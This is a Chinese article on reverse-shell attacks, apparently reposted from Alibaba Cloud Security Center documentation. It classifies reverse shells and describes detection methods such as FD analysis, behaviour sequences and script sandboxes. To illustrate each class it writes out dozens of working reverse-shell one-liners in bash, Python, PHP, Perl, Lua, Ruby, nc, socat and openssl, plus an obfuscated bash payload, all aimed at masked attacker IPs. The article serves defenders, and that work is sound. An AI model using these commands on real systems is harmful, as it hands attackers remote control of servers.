反弹Shell是黑客控制受害服务器的一种攻击手段,常用于受害服务器位于内网、受限于防火墙策略等无法使用正向连接的入侵场景。本文介绍反弹Shell攻击的现状、常规解决方法、分类与检测思想以及云安全中心针对反弹Shell提供的多维检测技术。
背景信息
反弹Shell是黑客(即Shell攻击者)用于控制受害服务器的一种手段。Shell攻击者指定服务端,并将需要受害服务器执行的命令(标准输入、标准输出、标准错误等)重定向到该服务端。受害服务器主动连接攻击者的服务端程序,攻击者的服务端通过监听来自受害服务器的请求,对目标服务器下发指令并获取执行结果,以达到攻击者可以控制受害服务器的目的。
反弹Shell攻击现状
其中交互式Bash
+/dev/tcp
是使用最多的反弹Shell,/dev/tcp
作为Bash
的默认特性使得该反弹方式兼容绝大多数环境,因此使用率高。紧随其后的是兼容性较好且灵活易用的Python。随着Go语言的兴起,云上入侵事件开始出现Go反弹Shell。从上图可以看出弹Shell实现的方式灵活多样,每种语言都可以进一步延伸和扩展。因此,为了保障最优的检出效果,反弹Shell的检测方案需要综合考虑多种场景因素。
常规检测方法
常见的检测方案是通过正则匹配的方式,提取反弹Shell命令的特征去匹配命令日志、流量日志。该方案具有以下不足:
- 命令日志采集不完整:例如通过Netlink等方式采集的日志,在碰到管道符、重定向时会无法采集完整的原始执行命令。而通过Patch Bash的方式记录命令日志,在遇到服务器使用Zsh、Ksh等其他Shell环境,或攻击者上传自己编译的Bash时会失效。
- 正则匹配无法覆盖无穷无尽的文本对抗:攻击者可以不断挖掘出新的变形方式来绕过正则匹配。在实际业务场景中,过多复杂的正则匹配会带来更大性能压力,而通配性更广的正则匹配会带来更多误报。
- 特征匹配失效:在网络流量被加密后,特征匹配会失效。
分类检测思想
因为表层对抗是无穷无尽的,检测需要由表及里,尽可能挖掘出更本质的解决方法。从检测的角度来看,反弹Shell的本质可以理解为:网络通信+命令执行+重定向方式。
命令执行和网络通信借助重定向,可以构建出一条流动的数据通道。攻击者可以利用这条通道下发指令控制受害服务器。不同的实现方式组合在一起,就形成了多种多样的反弹Shell。例如:
- 网络通信可以使用TCP、UDP、ICMP等协议,TCP协议再细分又可以包含HTTP、HTTPS协议等,UDP包含DNS等。
- 命令执行可以通过调用Shell解释器、Glibc库、Syscall等方式实现。
- 重定向可以通过管道、成对的伪终端、内存文件等实现。
从检测的角度,可以将反弹Shell分为以下三种类型:
- 第一类反弹Shell:直接重定向Shell的输入输出到Socket
该类型反弹Shell最典型的例子是:
<code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i20.55916579QztV2x">bash -i >& /dev/tcp/10.10.XX.XX/666 0>&1</code>
以下介绍直接重定向Shell解释器的输入输出到Socket类型的常见案例。
- 案例一:
<code class="hljs language-bash" data-spm-anchor-id="a2c63.p38356.0.i21.55916579QztV2x">bash -i >& /dev/tcp/10.10.XX.XX/6060 0>&1</code>
- 案例二:
<code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i22.55916579QztV2x">python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.XX.XX",6060)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'</code>
- 案例三:
<code class="hljs language-bash" data-spm-anchor-id="a2c63.p38356.0.i25.55916579QztV2x">php -r <span class="hljs-string">'$sock=fsockopen("10.10.XX.XX",6060);exec("/bin/sh -i <&3 >&3 2>&3");'</span></code>
- 案例四:
<code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i26.55916579QztV2x">perl -e 'use Socket;$i="10.10.XX.XX";$p=6060; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};'</code>
- 案例五:
<code class="hljs language-shell">lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.XX.XX','6060');os.execute('/bin/sh -i <&3 >&3 2>&3');"</code>
- 案例一:
- 第二类反弹Shell:通过管道、伪终端等中转,再重定向Shell的输入输出到中转
此类反弹Shell借助管道、伪终端等进行中转,例如下面这个典型案例将
sh -i
的标准输入、标准输出、标准错误重定向到命名管道/tmp/f
,同时加密通信数据也流向该命名管道。<code class="hljs language-shell">mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect 0.0.XX.XX:666 > /tmp/f</code>
通过管道、伪终端等作为中转体,并与Socket打通,重定向Shell解释器的输入输出到中转体,有以下常见案例:
- 案例一:
<code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i32.55916579QztV2x">nc 10.10.XX.XX 6060|/bin/sh|nc 10.10.XX.XX 5050 nc -e /bin/bash 10.10.XX.XX 6060 nc -c bash 10.10.XX.XX 6060 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.XX.XX:6060</code>
- 案例二:
<code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i34.55916579QztV2x">mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 6060>/tmp/f</code>
- 案例三:
<code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i35.55916579QztV2x">mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.XX.XX:6060 > /tmp/s; rm /tmp/s</code>
- 案例四:
<code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i36.55916579QztV2x">mknod backpipe p; nc 10.10.XX.XX 6060 0<backpipe | /bin/bash 1>backpipe 2>backpipe</code>
- 案例五:
<code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i37.55916579QztV2x">bash -c 'exec 5<>/dev/tcp/10.10.XX.XX/6060;cat <&5|while read line;do $line >&5 2>&1;done'</code>
- 案例六:
<code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i38.55916579QztV2x">telnet 10.10.10.10 6060 | /bin/bash | telnet 10.10.XX.XX 5050</code>
此类反弹Shell使用频率较高,其中利用伪终端中转的方式值得单独讨论,比如以下案例。
<code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i39.55916579QztV2x">python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.XX.XX",10006));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'</code>
- 案例一:
- 第三类反弹Shell:编程语言实现标准输入中转,重定向命令执行的输入到中转
第三种类型反弹Shell通过编程语言实现标准输入的中转,然后重定向命令执行的输入到中转,标准输出和标准错误中转形式不限制。以下是该类型反弹Shell的典型示例:
<code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i41.55916579QztV2x">python - c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('0.0.0.0',666))\nwhile 1: proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE,Shell=True);s.send(proc.stdout.read()+proc.stderr.read())\")"</code>
Shell攻击者使用编程语言实现标准输入中转,重定向命令执行的输入到中转,有如下常见案例:
- 案例一:
<code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i41.55916579QztV2x">python - c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('0.0.0.0',666))\nwhile 1: proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE,Shell=True);s.send(proc.stdout.read()+proc.stderr.read())\")"</code>
- 案例二:
<code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i43.55916579QztV2x">lua5.1 -e 'local host, port = "10.10.XX.XX", 6060 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'</code><code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i42.55916579QztV2x"> </code>
- 案例三:
<code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i45.55916579QztV2x">ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.XX.XX","6060");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'</code>
在这种场景下,反弹Shell的命令执行和正常业务行为变得更加难以区分,对抗程度上升,除了从进程命令行尽可能的覆盖这类反弹Shell的特征以外,云安全中心通过异常命令行为序列、异常Shell启动模型检测该类反弹Shell。
- 案例一:
云安全中心多维检测方案

除了分类检测思想中介绍的更贴近反弹Shell本质的FD检测技术、从行为目的出发的异常命令行为序列检测技术、异常Shell启动检测和常规的命令、网络特征覆盖方案以外,云安全中心同时使用以下检测技术:
- 脚本沙箱
对于脚本类型的反弹Shell,云安全中心提供针对性的解决方案。
云安全中心会对落盘脚本文件进行文件落盘检测,检测的语言包括但不限于Bash、Python、Perl、Vbs、PowerShell、Bat、JAR等。
<code class="hljs language-shell" data-spm-anchor-id="a2c63.p38356.0.i47.55916579QztV2x">"${@~~}" "${@^^}" $BASH ${*%%$9tcW\)zX} <<< "$( "${@~~}" $'\162'''e${*}v <<< ' }^^*{$ ") }^^*{$ ; }4S:\{\/CZ.!\?//@{$ }^^@{$ "}~~H7ONC{$" s% f\"t"n""ir*$p}@!{$ },*{$ }L>JO%*{$ && }ca\L&[\%%@{$ '"'"'1&>0 3332/1.1.1.1/PCT/VED/ &> I- HSAB'"'"'=H7ONC <span class="hljs-meta prompt_">($</span><span class="language-bash"><span class="hljs-string">" l}#VDG~g/g:fii\//*{<span class="hljs-variable">$a</span>"</span>}~@{$<span class="hljs-string">"v'"</span><span class="hljs-string">'"'</span>e<span class="hljs-string">'"'</span><span class="hljs-string">"' }~*{$ ' <span class="hljs-variable">${@~}</span> <span class="hljs-variable">${@^}</span> ; <span class="hljs-variable">${*%%S9;fj$^Y}</span> )"</span> <span class="hljs-variable">${*,,}</span> <span class="hljs-variable">${@%r-,,}</span></span></code>
云安全中心会对混淆类样本,通过每种语言的Trace模式,动态解混淆后进行检测。
- 二进制沙箱
- 流量特征分析
- 对抗行为检测
转自:https://www.alibabacloud.com/help/zh/security-center/latest/detect-reverse-shells-from-multiple-dimensions
转载请注明:jinglingshu的博客 » 云安全中心反弹Shell多维检测技术详解